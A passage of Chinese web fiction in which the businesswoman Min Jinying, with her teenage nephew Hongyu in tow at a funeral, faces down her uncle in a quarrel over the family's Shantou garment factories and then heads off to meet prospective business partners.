闵金瑛暗道一句“白日不说人,夜里不说鬼”,拍了拍文墨的手背,带着洪宇迎上去。 “二叔好。”闵金瑛拍了拍身侧洪宇的肩膀,“叫二叔公,这是你爷爷唯一的堂兄弟,一直在汕头打理着闵家大大小小的服装厂子,那可是闵家发家的产业。你二叔公功高至伟。” 闵二叔呵呵笑,似乎是对这顶高帽子十分满意,可开口却是:“你爸可一直想把我们这帮还在汕头的亲戚剥离出去,我说洪宇啊,你可要看看忘本的人是什么个下场。” 闵金瑛眉心动了动,眼珠子滴溜溜地转。哦?闵金玺跟他二叔闹得这么僵?比她打探到的情况还好还要厉害几倍。 “哎呀,说到这个我都替我哥觉得不好意思,服装产业可是闵家的立身之本,他居然想直接剥离丢去国外,真是的。二叔……” “洪宇,你还有几个月就成年了,闵家的生意你要学着了解,有什么不懂的,可以来问二叔公。” 闵金瑛的笑一下子就冷在了脸上。她闵金瑛一个大活人还在这里站着,居然还比不上一个没成年的小鸡崽子。 洪宇看见闵金瑛那一瞬紧绷的下颌线,直接往闵金瑛后头退后一步,把头低下去。 闵金瑛想着文墨的嘱咐与劝导,磨着牙压住火气:“怎么需要劳烦二叔大驾,我没空教他,还有闵金玺的副手,就是那个一直主导要剥离服装制造业的,我还在考虑要不要把他留下来,延续旧政又当个太子太傅的,一举两得。” 闵金瑛的话出口时还看了身旁的洪宇一眼,看他按照自己刚刚的指令,一个字不多说,低下头去一双下垂眼眼尾红红,心里刚升上来的火气呼啦啦消下去大半。 闵家二叔一张老脸铁青,还想呛两句闵金瑛,可她已经懒得跟老登废话,免得自己真发起火来不好收拾。看见闵金玺那几个越南港口的潜在合伙人到场,连一句失陪都没有赏给闵二叔,用手背拍了拍洪宇的手臂,抬脚就走过去,直接把人给丢下。 洪宇快步跟上,半路拉住闵金瑛的衣袖。 闵金瑛停下脚步,回头看他:“有屁快放。” 洪宇犹豫几秒,看闵金瑛眉头开始皱起,赶紧开口:“我去休息室呆着吧?” 闵金瑛眉头更紧两分,她抬手一拍洪宇的脑门:“我闵金瑛的位置从来都是自己拿到手的,不用别人给我让,老实在我身边呆着,我能吃了你吗?” 洪宇低着头没说话,一双下垂眼在孝帽的宽大帽沿下显得眼尾红红,可怜巴巴的样子,叫闵金瑛的怒意无处发泄。 可不得不说,臭小子确实很会看颜色,也知道自己的身份,不会依靠着别人对她蹬鼻子上脸。闵金瑛眯着眼睛看他半晌,算了,赏颗枣。 她回头看了眼礼堂门口走过来的那几个总,还是扭头回来先看洪宇,捏住他的下巴:“刚才做得挺好的,嘴巴闭紧跟着我,乖乖听话。” 洪宇被迫抬眼看闵金瑛。闵金瑛说这话时表情仍显不屑,但已经没有刚刚面对闵家二叔时的周身怒意。他下巴抵在闵金瑛的虎口处,上下一点。 “走吧。姑姑现在就开始教你怎么谈生意。”